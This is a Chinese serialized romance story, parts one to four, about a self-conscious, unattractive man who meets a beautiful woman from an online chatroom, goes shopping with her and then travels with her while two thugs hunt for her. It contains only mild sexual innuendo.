蜜兰美女与赖蛤蟆[都市艳情]

 
  「我们见面吧!」屏幕上传来了这个讯息,我却不知道要怎么回答,能见面
吗?


那些曾经见过我的女孩,第一次看到我的眼神,就像见到鬼一样,这么说是
有点夸张,虽然我不是长的很好看,但也顶多算是“丑”而已,可是她们脸上明
显所露出嫌恶及失望的表情,我一辈子都忘不了。


「怎么不说话了?」画面上继续传来讯息。


「还是不见面吧!」我做了明智的抉择,不见面还可以留下美好的印象,一
旦见面所有的幻想都将破灭。


「对自己这么没信心吗?」她继续问道。


她,在我最失意的时候遇到的一个女网友,她叫蜜兰诺,我问过她为什么叫
做蜜兰诺,她说因为当时她正在吃那种饼干,外头裹了一层薄薄的巧克力,里头
是酥脆的饼干。


蜜兰诺,就像饼干外头那一层巧克力一样,说起话来甜甜的,我和她用语音
天过,聊的很开心,我虽然长相不怎样,但还算有副充满磁性的嗓音。也许当女
孩们听到我的声音时,都会想象我是个美男子吧!


希望越大,失望就越大。


「你是青蛙?」蜜兰诺又问道。


正中要害了,我曾经和她说过不要被我的声音给骗了,她说不相信我会有多
丑。我们从来没看过对方的相片,因为我不敢给,当然她也不会主动给我。


「我是赖蛤蟆。」我很有自知之明的说着。


「哦!那我就是天鹅喽!」


看到她的这句话,我狂笑了一阵,她的脸皮还不是普通厚。


「我不信。」我故意这么回答,说不定她也是声音骗人,搞不好她又丑又
肥。


「见了面就知道了。」她回答。


我又沉默了,她对自己是那么充满自信,而我呢?在第一次见女网友之后,
所有信心早就被摧毁殆尽了,我还剩下些什么呢?


「我真的很丑,还是不要见面吧!」


「真的不见?」她打完这行字之后,画面上就出现她离线的讯息。


她生我的气,认为我没有诚意,是这样吗?


我何尝不想见她,就算她又丑又肥,我也不会嫌弃她的,猪八戒又有什么资
格去挑剔别人呢?更何况我是那么的喜欢她。


※※※


我的要求太唐突了吗?为什么他迟迟不响应,我是第一次这么想见一个人,
一个网友。


他在顾虑什么?我一个女孩子都不害怕,他怕什么?


「怎么不说话了?」我问道。


「还是不见面吧!」他终于有响应了,可是这个答案却不是我要的。


「对自己这么没信心吗?」我继续打出问句。


他,是我偶然遇到的一个网友,很奇怪,我从来不和网络上的人聊那么多的,
却和他聊了一整夜,从那时起,只要上网遇到他,就可以没完没了的聊起来。


对了他叫玻璃杯,为什么叫玻璃杯,因为他正在喝水,我问他不会是同性恋
吧!不好意思叫玻璃圈,所以叫玻璃杯。我们就这么聊了起来。


我记得听他说过,他见过几次网友,结果见过面后却从此不再联络了,那么
他就是俗称的青蛙了,就是长的不好看的男生,难道是因为这个原因,所以他不
敢和我见面。


「你是青蛙?」我直接了当的问。


「我是癞蛤蟆。」这回他回的很快。


「哦!那我就是天鹅喽!」癞哈蟆想吃天鹅肉,脑海里浮现的竟然是这句俚
语。


「我不信。」这么直接,凭什么不信我是天鹅呢?难不成他见过的女网友都
是恐龙吗?


「见了面就知道了。」自己怎么说也说不清,眼见为凭。


怎么又安静下来,平常和他都是一来一往,甚至连上厕所的时间都没有。而
今天的话题却接连的断了好几次了。


「我真的很丑,还是不要见面吧!」


「真的不见?」我再问了一次。


雪特,计算机竟然在这时给我当机。


※※※


等了五分钟,还是不见蜜兰诺上线,她真的生气了,那我也下线吧!


“蜜兰诺刚登入”就在我准备注销的瞬间,我看到的屏幕的右下角出现了这
个讯息,所有的阴霾一扫而空。


「对不起,刚刚当了。」


「没关系。」顺便加个笑脸,我也是真的面带着微笑,虽然她看不到。


「星期六早上十点,中坜火车站前面的圆环,不见不散。」她快速的打出这
串字。


我并没有同意啊!


「如果你不来,我们就不要再见面,不,是不要再聊天了。」


「不是这么绝吧!」我着急的问着。


「没错,你不来我就不理你了。」


「我怕妳见了我也不会想再理我了。」这是事实,凡是见过我的女孩,没有
一个愿意再理我的。


「你害怕我也会?」


「是的。」


「有可能喔!」


「你这么说我怎么还敢去。」


「就这样吧!星期六,不见不散。886」


又离线了,让我连考虑的机会都没有。


我该去吗?好不容易建立起来的感情,就要烟消云散了。


※※※


在聊天室里再怎么聊都是虚无缥缈的,还不如当着面说的清楚,就算要爱一
个人也要知道这个人是什么样子啊!


青蛙又如何?难道青蛙就不能有春天吗?外貌只是一个躯壳一个假象,那能
代表什么?


但是我真的一点都不在乎玻璃杯的长相吗?要真是一张破碎的脸我能不在乎
吗?见了面再说吧!


※※※


死就死吧!只要能见蜜兰诺一面,我也心满意足了,要是连她都不理我,我
以后再也不上网聊天了。


哎呀!糟了,只约了时间地点,也没讲好相认的方法,看看四周人还不少。
可是放眼望去,在这小小方寸里,最丑的男孩子就属我了,看来我的担忧是多余
的。


当我把瞭望的眼神拉回,眼前竟然伫立着一个女孩,个头还不小,我是指身
高,我的个不高,号称一七零,而这个女孩几乎要和我一般高了,难道她是蜜兰
诺?


她好象还在找寻什么,难道她不是蜜兰诺?


我的心脏砰砰跳着,几乎要从嘴里迸出来了,我微微向后退了一步,眼前的
女孩除了高挑之外,身材也十分苗条,可是针织上衣包裹的上身却相当突出,我
指的就是胸部了。蓝色的牛仔裤将她的下半身撑了起来,几乎要拖地的裤管,将
她的腿部烘托的更修长了。


长长的头发扎成长辫垂在背上,微侧的面颊展露出光华细致的肌肤,精致的
耳垂上镶着一颗闪亮的宝石,长长的睫毛不时眨啊眨的,彷佛已经可以看到一双
水灵灵的大眼睛了。挺立的鼻梁,让她整个侧面看起来就像雕像一般,美的让人
不敢正视。


她果真是一只高贵的天鹅,而我却只是一只癞蛤蟆。我已经看到她了,该心
满意足了,还不走,赖在这里干什么?可是我的脚像镣了铅块似的,一步也动不
了,我连忙将脸转开,不能让她看到我。我还是蹲下故意绑鞋带吧!偏偏我穿的
是皮鞋,没有鞋带的那一种,顾不了这许多,先蹲下吧!


※※※


我就在你身边啊!你连认我的勇气都没有吗?


看到玻璃杯,我松了一口气,丑是丑了点,不过哪只是五官的结构不够完美
而已。眼睛不大,但有双浓眉,浓眉应该配大眼,但是他却是个小眼睛,我想就
怪在这吧!鼻子也不是很挺,嘴唇厚厚的,人说嘴唇厚的人重感情,这算是一个
优点吧!


环顾四周,他确实是这方圆一里内最丑的男人了,但是那又怎样。


其实我不到十点就到了,为的是想看看这个人是不是一个守时的人,果然没
教我失望,九点五十分就看到他的身影了。


看见他在来来往往的人群里搜寻着我的身影,偶尔见到几个单身的女子,他
的眼神停驻在她们的身上,但随即便移开了,是因为她们不够美吗?还是不敢相
认?


眼看时间一分一秒的过去,我相信他就是玻璃杯了。


我缓缓的走到他身边,我可以确定他就是玻璃杯,我在等的男人,但是我不
认他,我要看他什么时候开口认我。


美女与野兽(二)


作者:淫心
日期:2004.02.04
首发:恶魔岛


一双亮白的鞋面立在我的眼前,整颗心脏好象就已经在嘴巴里了,可是我连
抬头的勇气都没有。


不行,这样懦弱是不行的,人穷志尚且不能短,而我只是外表差一点而已,
论才干,可是毫不逊色于其它男人。深吸一口气,我缓缓的站了起来,我已经做
好心理准备了,即使她即刻转身离去,我也能坦然面对了。


「嗨!妳好。」用尽全身的力气挤出了一丝笑容,我开口道。


「你好。」


好甜美的笑容,就好象溶在嘴里的巧克力一般甜蜜,此刻的感觉更像是吃了
在巧克力注入美酒的酒糖一样,我都要醉了。


「傻了?」


「对不起我失态了。」我怎么会如此无礼呢?就好象没见过漂亮女人似的,
事实上确实如此啊!这么近距离的欣赏美女还是头一回呢。


「妳刚刚在找什么?」她明明就已经认出我来,却还东张西望的,难道还约
了别人吗?


「找青蛙啊!」她说的很顺口。


「眼前不就一个吗?」我自嘲道。


她挑眉将我从头到脚浏览了一遍,看的我浑身不自在,手跟脚都不知道要怎
么摆好。意外的是,我并没有在她眼里发现厌恶的神情,只有一种俏皮的好奇眼
神。这双晶莹剔透的眸子,就像要把我看穿似的,紧紧的盯着我,害的我只好撇
过头去闪躲开她的灼灼目光。


「我像是奇珍异兽吗?」我再次自我解嘲。


「呵呵。」她笑了,「你真的很丑。」


听到她这么说,我原本就尴尬笑容更加僵化了,一颗心就像掉落在坚硬的大
理石地板上的玻璃杯,碎了。


「可是我不在乎。」她收起笑容一脸认真的说着。


「真的?」她的一句不在乎,坚硬的大理石地板彷佛变成了柔软的弹簧床,
将玻璃杯又弹了起来。我还以为她和其它女孩一样,原来她真的不一样。


「我们要一直站在这里吗?」


「妳想去哪?」我的头还轻飘飘的,好象脚已经没有踏在地面上了。


「天堂。」


「天堂?」


「走吧!美人光看是没有用的,得想办法追,才追的上的。」


说罢,她便往市区最热闹的街道走去,我则紧紧的跟在后头。她越走越快,
穿梭在人群里,我要是不跟紧点,可能就要失去她了。


这样的美人我追的上吗?我这只癞蛤蟆能吃到天鹅肉吗?不要做白日梦了,
只要她不要不理我,还愿意跟我做朋友,我就阿弥陀佛了。


「到了。」她开开心心在百货公司前停下脚步。


没想到不消十分钟,已经来到中央西路上的远东百货了。


「好喘。」蜜兰诺脸红通通的,调息着呼吸。


跑的这么快当然要气喘吁吁,在她喘息的当口,我用余光注视着她,我只看
这样若无其事的偷瞄她,甚至故意的和她保持距离。本来身边有个美女应该是一
件光彩又值得炫耀的事,可是我实在是太破坏风景了,尤其是看到几个擦肩而过
的男女窃窃私语着,『那个女的那么漂亮,怎么会跟那么丑的男生在一起啊!』


顿时,我终于能体会到那些女孩的心态了,即使本人不在意,可是又怎能忽
略旁人的异样眼光呢。这毕竟是一个群体的社会,其它人的想法时时刻刻的左右
着我们的行为。


「你好象都不会喘啊!」蜜兰诺问道。


这个甜美的声音把我拉回到她的面前。


「我平常有运动的习惯,所以这点路不算什么的。」我笑着回答。


人丑嘛!无人来睬,多余的时间,除了学习知识之外,就用作学武了,跆拳
道黑带是我最值得骄傲的了,可是又因为人太丑,教练连出国比赛的机会都不给
我,也罢,我也不想拋头露面。


「真好,不像我跑点路就气喘如牛。」她的眼眸里闪着些许的羡慕。


「如果妳有兴趣,我可以陪妳跑……」呆瓜,说什么傻话,谁会愿意陪一只
癞蛤蟆晨跑,话刚落下,我就后悔了。


「好啊!你可不要赖喔!」她到答应的挺爽快的。


妳不赖,我才不会赖呢。我只敢在心底响应她。


「只要你不嫌弃。」


「嗯。」


我说错了什么吗?为什么她只是简单的应了一声,可是我又能期待她说什么
呢?唉!我竟然有种想逃的感觉。


「来的太早了,百货公司门都还没开呢。」


经她一说,我才发现百货公司的大门还是深锁的。


「那怎么办?妳吃过早餐没,要不我们到那边的快餐店吃点东西。」我指着
不远处的快餐店说着。


「我已经吃过早餐了,你还没吃吗?」


「我也吃过了,早上晨跑,回程时,我习惯带一份早餐回家就解决了。」


「那……我们到前面那里的服装店逛逛好了。」她提议道。


「好。」


我再次尾随在她身后,像个随从一般的跟着她。


「你身上有带钱吗?」她猛地转过身来,问道。


那一剎那,不及剎车的我差一点就撞上她了,一股淡淡的花香从她的秀发上
飘过来,几乎让我陶醉了。


「对不起。」她歉然道。


「没关系,是我跟太近了。」天知道,我始终和她保持了二步的距离,只是
我万万没想到她会突然回头。


她微微一笑,转过身去,继续往前走。


我记得她刚刚问我带钱没,她是想买衣服吧!


「蜜……」我还不知道她的本名呢。


「嗯?什么事?」她没有停下脚步,只是侧着头问我。


「我有带钱。」我不知道她的心意,不好随便猜测。


「多少?」她继续问道,并停下脚步,这回我注意到节奏,也跟着停了下
来。


「七八千吧!大概就这个数。」


「你没事出门带这么多现钞?」她一脸讶异的看着我。「不怕被抢吗?」


「被抢!」我不抢人就不错了,「如果他抢得了,我就认了。」


「好大的口气。」她有点不相信的说着。


我只是笑一笑,没再说什么。


「原来你也有自信的笑容。」


自信的笑容?是吗?我怎么从来没有发现过,「很难看吗?」


「你看你又没信心了。」她瘪起小嘴说着。


好可爱的模样,这一刻,我竟然有股想要一亲芳泽的冲动。


「我们进去这间店逛逛吧!」


呼!幸好她的声音让我紧急剎车了,「好啊!」


这是一间休闲运动服饰的专卖店,牌子是很大众化的那一种。蜜兰诺略过众
多的女装最后驻足在男装面前。


「来吧!挑几套你喜欢的。」她开口道。


不会是让我帮她挑送给男朋友的衣服吧!这太残忍了。


「要什么尺码的?」我问道。


她楞了一会,答道:「你穿什么尺码就什么尺码。」


不会吧!她的男朋友应该要高大些,才能匹配她的身高啊!像我这样站在她
身边看起来和她一般高的男孩子,怎么搭得上呢?


「你不喜欢这些衣服吗?」


「喜欢啊!」我这人不太挑的,老实说我也是这店的常客,可我喜欢有什么
用,人家不一定喜欢啊!


「喜欢就开始选啊!挑个三四套吧!」


「喔!」


好吧!管他这么许多,就当作个好人吧!我们的关系也就是普通朋友嘛!还
妄想有一天成为她的情人吗?别作白日梦了。


过了几分钟,挑好了几件自己满中意的衣服,搭在手上。


「就这些……」她始终跟在我身边。


「挑了五套了,妳看哪一套不好看,把它剔除好了。」


「你喜欢就好,那……看看尺寸合不合,不合的话可以让店家改。」


「这……」我有点莫名其妙,怎么感觉这些衣服是为我而买的。


「上衣我拿,裤子你去试穿,长度总要改吧!」她从我手里拿过上衣。


「也不用,我知道长度的。」是的,改了几次都记下修改的长度了。


「嗯,那先结帐吧!再让她们修改。」她把手里的衣服又塞回我的手里。


我乖乖的把衣服拿到柜台结帐,看她没有拿钱包的意图,只好掏出钱包来结
帐了。不是我小气,送男朋友的礼物,让我这个初次见面的网友来付账,实在是
有点说不过去。


「一共是五千八百六十元。」店员结算出总价。


什么?要这么多,本来打算要付现的,一听这么多钱,还是刷卡吧!掏出白
金卡交到店员手里,我刻意的留意了蜜兰诺的眼神,她连眨一下眼都没有,好象
这一切都是理所当然。


顿时,我对她的美好印象,打了折扣,这是一个什么样的女人,难道她都是
利用美色,让我们这些呆子来供养她身后的小白脸吗?


因为有些裤子还需修改,所以就留在店里,等回程时再来取。接下来,蜜兰
诺领着我向一间名牌球鞋店走去。


走进店里,她同样的走到男鞋区。


「挑二双你喜欢的吧!」


「我喜欢的?那尺码呢?」


「你穿什么尺码就什么尺码。」


我很想问个明白,但是又不敢开口,只好随便挑双价格最低廉的,但就算是
打折品二双鞋也要千把块。


「这二双这么丑,换别的样式吧!」她当下就否决了我挑的二双折扣鞋,确
实,我也不喜欢那二双鞋。


「这双吧!」她突然兴奋的指着一双蓝色的运动鞋说着。


真是英雄所见略同,我踏进这间鞋店后,第一眼就看中那双鞋,可是一看到
标价我就放弃了,我可不想做冤大头,到头来肯定还是我付账,所以才会舍弃它
而就那二双连我都不屑一顾的鞋。


「我看得出来你很喜欢这双鞋,那就它吧!」


不等我同意,蜜兰诺就做了决定,连鞋号她都知道了,二话不说让店员包了
起来。我的荷包又遭殃了。


「再挑一双吧!」


「妳的眼光那么好,妳自己挑吧!」我已经心力憔悴了,今天她不把我榨干
是不会甘心的,我这是牡丹花下死,作鬼也风流,不,我连花瓣都没碰到呢,死
的冤啊!


「我自己挑啊!」她低头沉思了一会,「小姐,你们店里头最贵的鞋是哪一
双?」


「是……」店员正要指向一双上万的球鞋。


「这双好了。」我赶紧打起精神指了鞋架上我看上的第二双鞋道。


「那就这双。结帐。」


二双鞋,五千六,店员看我脸色那么臭,自动降到五千元,蜜兰诺还是没有
付账的意思,我只好再次拿出信用卡,刷吧!这就是信用卡的好处。


提着鞋,我踏着沉重的步伐走出了鞋店。


「百货公司应该开了吧!我们过去吧!」蜜兰诺雀跃的说着,然后加快脚步
像百货公司奔了去。


我的脚都快软了,百货公司啊!哪我岂不是要破产了。


美女與野獸(三)


作者:淫心
日期:2004.02.05
首發:惡魔島


一進百貨公司大門,琳瑯滿目的化妝品以及珠寶首飾專櫃,蜜蘭諾要是隨便
看上一樣,我肯定破產了。


可奇怪的是,她卻看都不看一眼便上了電扶梯,連二樓的少淑女服飾區都未
曾停留。該不會我們的目的地是男裝區吧!果然沒錯,在掛滿西裝的樓層,蜜蘭
諾邁出了金蓮。


她四處張望著,無視於眼前的高級西裝,我感覺好像鬆了一口氣,這些西裝
少說也要萬把塊。


那……她在找什麼呢?


「有了。」她興奮的叫了聲,往前跑去,我跟上了,不一會,她卻又停下了
來。


「怎麼了?」問的同時我也抬頭像前方看去,這裡是男士的內衣專櫃啊!不
會吧!連內衣褲都要我幫她挑啊!


「嗯……這個……」


她支支吾吾的,半天說不出話來,俏麗的臉蛋上還泛起了紅雲,知道害臊了
吧!還是我開口吧!


「這也要我幫妳買嗎?」說也奇怪,看到她無助的模樣,竟然不介意她花了
我大把的鈔票,反而羨慕起那個幸運的男人。


想想看,那個男人穿著我挑選的衣服,不,是內衣褲,在浪漫的燭光下,輕
輕地摟著佳人,佳人的纖纖玉手慢慢地伸進我的內褲裡,一把抓起……。


糟了,想就想嘛!怎麼真有了反應,要是被發現豈不是顏面掃地。怎麼辦?
趕緊把裝鞋的袋子放在下腹前遮擋著。


「你想什麼?想的流口水,我都不知道你有這種癖好,這是男人內衣櫃,又
不是女人的。」


蜜蘭諾一語驚醒夢中人,可也讓我嚇出一身冷汗,我豈不是糗態百出了。


「我只是好奇,連這妳都要買?」


她忽然睜大眼睛看著我,一副理所當然的口氣說道:「當然要啊!」


「喔!」


吁口氣,最尷尬的場面都嚐到了,還有什麼更難堪的呢?我決定好好戲弄她
一下。


「那妳想要買哪種類型的呢?子彈型的還是……」我隨手拿起台車上的四角
內褲在她面前揮舞著,「這種四角的……」


「我不知道啦!又不是我要穿,你愛穿什麼就買什麼。」她慌忙的別開臉,
急促的說著。


「我愛穿什麼就買什麼,我不愛穿內褲的。」我繼續逗著她玩,因為我發現
她生氣的模樣更迷人,秀眉微蹙,櫻唇微噘,儼然一副小女子嬌羞的姿態,和剛
才那個站在我身旁看著我付賬的冷然模樣,簡直判若二人。


「隨便你,那你就不要穿好了。」她好像生氣了,蓮步輕踱的往旁邊的櫃子
移動。


慘了,一時興起想要捉弄她一下,這下卻弄巧成拙,怎麼辦呢?放下內褲我
怯生生的走到她身邊。


「生氣了?」我小心心翼翼的問著。


※※※


真是太過分了,還以為他很老實呢,想不到也會捉弄我,看來我得重新考慮
這個計劃了。


可是看他這麼誠懇的一直向我道歉,我這人一向心軟,又怎麼真的生的了他
的氣呢!


「別生氣啦!」他不停的重複著類似的歉詞。


「你趕緊挑選,我就不生氣了。」強忍著笑,我用嚴肅的口吻說著。


「好好好,我馬上幫妳挑。」


「什麼幫我挑!是幫你挑。」


「妳說什麼?幫我挑!」他一臉驚訝的看著我。


「難道還是我要穿的啊!」我都不知道他驚訝個什麼勁了,「我一個女孩子
家,買男人的衣褲幹什麼?」


「送人啊!」


送人?「我送誰啊!」這誤會可大了,「喂!剛才誰付的帳?」


「我啊!」


「誰挑的衣服?」


「我啊!」


「是誰的尺寸?」


「我啊!」


「回答的可真簡潔啊!一口一個“我啊!”那你說這些衣服、鞋子,是要送
給誰?」我一手叉腰,一手指著他手裡提著的鞋子問道。


「原來……原來這些是買給我的!」終於恍然大悟了。


「不然你以為呢?」


「我以為……以為……」


「以為我買來送給別的男人是嗎?」他說不出口,我這可是弄明白了,從剛
剛買鞋我就注意到了,他是不好意思開口問,但就是一副冤大頭的模樣,付錢也
付的不乾脆,不明白,就問嘛!一個字也不說,這下心裡還不知把我想成什麼樣
的女人呢?


「喂!你該不會以為我花你的錢買衣服貼小白臉吧!」剛剛捉弄我,看我饒
不饒你。


「這……」


瞧他支支吾吾的,八成是了,不,肯定是。我就故意不說話,等他自己招供
吧!


「我……這……」


算了……再逼下去,我看他腦袋都要打結了,臉紅的跟蕃茄似的。


「好了,好了,趕快買一買吧!還有別的東西要買呢。」


「如果是要買給我,這些我都有啊!不缺的。」


「我知道你肯定有啊!可是你沒帶在身上吧!」


「我穿在身上了。」


「六件都穿在身上?」


「啊!」


我怎麼說呢?本來是要秘密進行的,所以沒和他解釋,可是如果不解釋,一
時間覺得頭昏眼花了。


「妳可不可以告訴我,為什麼讓我買這些東西啊!」


「我會告訴你,等你買完之後。」


「不行,妳現在告訴我,不然我不買,除非妳要送人,我就幫妳挑,不然我
不需要的。」


從見面到現在,頭一回看到他如此認真嚴肅的表情,是不願意當個糊塗人是
吧!確實,誰也不喜歡這種迷迷糊糊的感覺,好像被耍一樣。


我看了看四周,似乎沒有剛才熱鬧了,往他的耳邊靠近,很小聲的說著,
「我要和你私奔。」


「什麼?私奔!」聽完我的話後,他竟然如此大聲的張揚著,真想找個地洞
鑽進去。


所有人的目光頓時都投注在我們身上,這時他才意會到自己做了多蠢的事,
像個做錯事的孩子般低下頭去。


「我是說“絲質的襯衫”,什麼私奔……」我知道轉的非常硬,但是也唯有
以此化解尷尬,我狠狠的瞪了他一眼。


「小姐。」他把我拉到旁邊較少人經過的地方,一派正經的說道:「妳在玩
什麼把戲?什麼私奔?妳都還不知道我是什麼樣的人,妳要跟我私奔。」


「咦!你不是說要帶我去旅行嗎?在聊天室的時候啊!說要帶著我到處去飛
翔,走遍世界各地去玩賞嗎?怎麼是騙我的嗎?」


「我是這麼想過,但不是現在啊!」他認真的樣子挺可愛的。


「你現在不能出門嗎?」


「可以啊!可是出國不是那麼簡單的事啊!要辦護照,找旅行社……」果然
是一個嚴謹的男人,還有點婆婆媽媽。


「誰說要出國了?」


「不是到世界各地嗎?」


「台灣都還沒玩夠呢!出什麼國啊!我只是想你陪我到中部去住個七天。」


「可是不管去哪,像這樣一日遊都行,可一去七天……」


「怕被我吃了啊!」我都不害怕,他倒是害怕起來了。


「我是癩蛤蟆呀!專吃天鵝的,妳不怕我吃了你。」


這個二楞子總算進入狀況了,反應正常些了。


「誰吃誰還不一定呢?敢不敢來呀!」


「妳玩真的?」


「嗯,當然玩真的,以為我玩家家酒啊!」


他低頭沉思了一會,怎麼美人結伴出遊還要考慮啊!不過也對,要是他一口
就答應了,怕的就是我了。


「怎麼樣,考慮好沒?」點點他的肩膀,我問道。


「那我回去收拾收拾。」


「沒那時間了,我也不能在這待太久,所以你是答應了?」


「妳葫蘆裡到底賣什麼藥啊!」


我知道他心中一定有很多的疑惑,未來的七天我會讓他明白的。


「放心吧!會吃虧的只有我,你又不會損失什麼?」


「還說呢,我一早就刷掉了六分之一的薪水了。」


「六分之一!你不是說你一個月有六萬塊的收入吧!」想不到這小子這麼能
幹。


「養妳沒問題。」


「是啊!我要縮衣節食。」


「為什麼?」


「瞧你剛剛付帳的臉有多臭!」臭到小姐竟然自動降價,想起來就好笑。


「我以為……以為……」


又來了……


※※※


雨過天青,撥雲見日,原來我不是冤大頭,還飛來艷福,蜜蘭諾竟然要我陪
她出遊。七天,七天會發生什麼事,我能和蜜蘭諾共赴雲雨,告別守了二十六年
的處子之身嗎?光是想像,我就已經彷彿乘上雲霄飛車,飛入雲端了。


可是心裡頭卻突然盪了一下,這雲霄飛車會不會出軌啊!只怕落得一個粉身
碎骨,想到這不由得頭皮麻了起來。


可是想想我所認識的蜜蘭諾,除了一點頑皮一點天真,怎麼看都像是無邪的
天使,善良的仙女,她會無端端的來設計陷害我嗎?我又不是王子,怎麼變都只
是青蛙。


匆匆忙忙的採購好她指定的所有物品,然後趕上這班開往台中的火車。


一上火車沒多久,蜜蘭諾竟然睡著了,是因為一早的奔波讓她感到疲累嗎?
還是她根本徹夜未眠,這一趟台灣深度之旅,會不會是她策劃已久的安排,但為
什麼挑上我,這個疑問我始終沒有得到解答。


也許是我想太多了,蜜蘭諾和其他膚淺的女人不一樣,她忠於自己的感覺,
相信在聊天室我們曾經心心相許的誓言。『不論對方的長相如何,都不會嫌棄對
方。』這是我在不斷的對自己的容貌失去信心的情況下,蜜蘭諾主動提出來的。


可如今,蜜蘭諾美若天仙,我自然沒有嫌棄她的理由,而我呢?醜若蟾蜍,
她今日不嫌我,明日呢?她能日日夜夜對著我這個醜八怪嗎?


「好冷喔!」她醒了。「真是的,冷氣開的那麼強,有沒有外套借我蓋。」


「妳等一下。」


八月天裡,誰出門會穿外套來著,取出才買的運動衫,勉強充作被子,給她
披上,她抓緊衣服就趴在我的肩頭,像一隻柔軟的貓咪般睡著了。車箱的冷氣確
實是過涼了,她仍不斷的將身體依近我,繼續找尋著溫暖。


看著她不安的蜷縮著身體,我好想把她摟進懷裡,緊緊的抱住,給她我的熱
情,就怕她會認為我是不懷好意,便作罷了。


「新竹站到了……」


聽到車箱裡提醒旅客的廣播,我看了看手錶,已經坐了半個小時的火車了,
轉頭看看蜜蘭諾,她倒是睡的挺安穩的,應該是不冷了吧!


過了一會車子又開始晃動了,再過一個小時就到台中了。


本來也想假寐一下,養養神,車箱裡卻傳來吵雜的聲音,我回頭一看,二名
高頭大馬的彪型大漢手裡拿著一張紙,一一的向旅客們詢問,態度相當的惡劣,
可是礙於來人的身型巨大,也只有委屈應付。


他們是在找人吧!根據他們的行為,我作如是判斷。不管是不是,這種凶神
惡煞肯定不是好人,我把蓋在蜜蘭諾的身上的運動衫拉到她的頭上蓋住她的臉。


「冷啊!」衣服一移開,蜜蘭諾就喊冷,不得已只好把她摟緊懷裡。「對不
住了。」蜜蘭諾像抓到什麼溫暖的物體,緊緊的摟著我的腰又繼續睡了。


我長這麼大以來,除了我媽,還沒給哪個女人抱過,蜜蘭諾算是頭一個。我
的心臟砰砰然的跳個不停,蜜蘭諾的髮香雖然隔了一層衣服,還是飄到我的鼻子
裡,糟了,我又……有反應了。


現在蜜蘭諾靠我靠的那麼近,萬一被發現怎麼辦?我正想把蜜蘭諾推開一
些,剛才的二名大漢卻已經走到鄰座。


「有沒有看到這個人?」穿著黑色西裝的大漢用著粗惡口氣質問著鄰座的乘
客。


「沒……有。」鄰座的老婆婆給嚇的結結巴巴說不出話來了。


「喂!你看過沒有?」另外一個留著平頭的大漢轉而問向我。


看著大漢手裡的相片,我霎時愣住,這不是蜜蘭諾嗎?


「你看過?」


我的驚訝露出了破綻。


「沒有。」我斬釘截鐵的回答。


「沒有!我不信。」他一把抓起我的領口,凶狠狠的瞪著我,「你敢騙我要
你好看。」


不是我窩囊,場合不對,不然我會要他付出代價,沒有人敢對我如此無禮,
未免節外生枝,我吞忍下來。


「這個小姐這麼美,誰看了都會驚艷的,可惜我沒機會見過小姐本人。」我
回道。


「呵呵。」大漢嗤笑一聲,放下了我的領口,也收回相片,正要離去。


蜜蘭諾卻在此時挪動了一下身體,頭上的運動衫滑了下來,長長的髮辮落了
下來,我再要遮掩,卻已被大漢發現。


「她是誰?」大漢大聲問道。


「她是我老婆。」情況緊急,只好隨便扯個謊。


「真的嗎?」


到此刻我才發現原來我像是一個很不會撒謊的人,一眼就會被人看穿。


「你不相信?我叫醒她讓你看看。」


「不用了,你老婆肯定很醜,我可不想倒胃口。」說完這麼尖酸刻薄的話之
後,我看著他們的背影都覺得他們在恥笑我,如果不是為了蜜蘭諾,一定把他們
扔到火車外。


士可殺不可辱,我氣的緊握拳頭,卻用不能給予迎頭痛擊。忽然,一股溫暖
的感覺貼上了我的手背。


「蜜……」


「好過份,他們怎麼可以這樣說……」蜜蘭諾二隻眼睛恨恨的瞪著已經離開
這節車廂的大漢。


我第一次看到蜜蘭諾晶瑩的美目裡透出駭人的殺氣,她竟然為了我動怒,我
找不到任何形容詞來描述我此刻的感動。


「沒關係,我不會放在心上的。」我安慰著蜜蘭諾,很奇怪的舉動,明明受
傷的人是我,可是安慰人的也是我。


「誰說人醜就不能娶到漂亮老婆。」蜜蘭諾忿忿不平的說著。


人醜!原來在蜜蘭諾的心裡也認為我醜。


「你覺得我漂亮嗎?」蜜蘭諾突然轉過頭來問我。


看著我的是一雙水汪汪的大眼睛,蜜蘭諾的眼框裡泛著眼淚,是為了我流的
嗎?


「妳怎麼哭了?」我伸手想拭去她臉上的淚水,可卻又怕褻瀆了她而放棄。


「別管眼淚。」她隨手擦掉了一邊的眼淚又接著道:「我美不美嘛!」


「美,妳是我見過最美的女人。」看著她,我說出肺腑之言。


「好,那麼我做妳的老婆。」


美女与野兽(四)


作者:淫心
日期:2004.02.06
首发:恶魔岛




「好──,妳不是要睡觉吗?继续睡吧!」我若无其事的拍拍蜜兰诺的背,
把自己当成大哥哥一样的安抚着她。


我能当真吗?当真了,我就是名符其实的傻瓜了。


「你不相信我说的话?」她看着我的眼神,纯真无邪。


「相信啊!」我一贯敷衍的回答。


「你不相信,我看得出来。」


「我相信,妳睡吧!不到一个小时就到站了。」


她噘噘小嘴,可能觉得我无趣吧!低下头趴在我的肩头上又继续睡着。她是
真的累了吧!不然不会这么轻易放过我,肯定非问的我脸红心跳不可。


说到脸红心跳,她刚刚说的那句话,竟然没让我心跳加速,是因为明知不可
能吗?这是一种自信的反应,还是根本已经失去信心了,不想那么多了。


蜜兰诺遇到什么困难了?为什么那二个看起来绝非善类的男子,拿着相片四
处在打听她的下落。在我的印象里蜜兰诺是一个单纯的女孩,莫非那只是一个假
象。这一切只有等到了目的地再去了解了。


一个小时很快就过了,提着二大箱的行李,在拥挤的人潮中下了车。


下车后,我当然一肩挑起提行李的责任,这是责无旁贷的。


蜜兰诺向其它人打听了搭车的讯息,然后我就跟在她后头急行军似的搭上了
客运巴士。


放好行李坐定后,我问道:「我们要去哪?」


「清境农场。」


「清境农场!」我满脸疑惑的看着她,「妳早告诉我,我可以开车带妳去
啊!」


「如果可以早告诉你,就不用那么麻烦了。」


「好吧!反正到清境还早的很呢?妳可以告诉我到底妳遇到什么麻烦事了
吗?」


「没有啊!我只是突然想去玩而已啊!」


「嗯?只是这样?那火车上的事怎么解释?」我不是真的傻瓜,我只是丑但
不笨啊!她明明是心事重重的。


「我现在不想说,晚上再告诉你好吗?」


看到她眼里的哀怨,我怎忍心再逼她呢?


「哪妳现在还要继续睡吗?」


「嗯。」


点点头,她熟练的靠在我的肩上又继续睡了,而我无聊至极的也只好跟着睡
了。直到进入山区,一路上峰回路转,车身摇摇晃晃的我再也睡不着了,只好看
着蜜兰诺熟睡的脸庞干瞪眼。


多么精致小巧的脸蛋,粉粉嫩嫩的,现在仔细看看,好象在蜜兰诺的皮肤上
没有任何人工修饰的痕迹,就连口红都没擦,好一个天生丽质的美人儿。唉!不
